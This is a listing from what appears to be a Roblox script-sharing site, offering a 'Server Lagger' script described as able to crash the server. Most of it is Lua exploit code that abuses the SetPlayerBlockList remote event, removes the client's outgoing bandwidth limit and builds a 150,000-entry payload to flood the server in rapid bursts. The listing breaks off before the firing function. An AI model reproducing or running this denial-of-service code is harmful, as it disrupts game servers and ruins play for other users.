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2.8k Executions
Server Lagger
Universal Script 📌
3 weeks ago
Reviewed by QueueHeroPaid revieweron How review works
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Description
can crash the server
local Players=game:GetService("Players")
local RunService=game:GetService("RunService")
local SRC=[==[local RunService=game:GetService("RunService")
local Children=150000
local NestedPerChild=0
local FieldsPerChild=0
local FireBurst=1
local FrameDelay=0.125
local FieldSize=0
local RebuildEach=false
local state={running=false,thread=nil,remote=nil,cache=nil,pad="",}
local function resolve()
local rrs=game:FindFirstChild("RobloxReplicatedStorage")
if not rrs then return nil end
local r=rrs:FindFirstChild("SetPlayerBlockList")
if r and(r:IsA("RemoteEvent")or r:IsA("UnreliableRemoteEvent"))then
return r
end
return nil
end
state.remote=resolve()
pcall(function()
game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge)
end)
state.pad=FieldSize>0 and string.rep("P",FieldSize)or""
local function build()
local root=table.create(Children)
for i=1,Children do
local entry={id=i,v=i*2}
for k=1,FieldsPerChild do
entry["k"..k]=(FieldSize>0)and state.pad or(i+k)
end
for j=1,NestedPerChild do
entry["n"..j]={a=i,b=j}
end
root[i]=entry
end
return root
end
local function fire()
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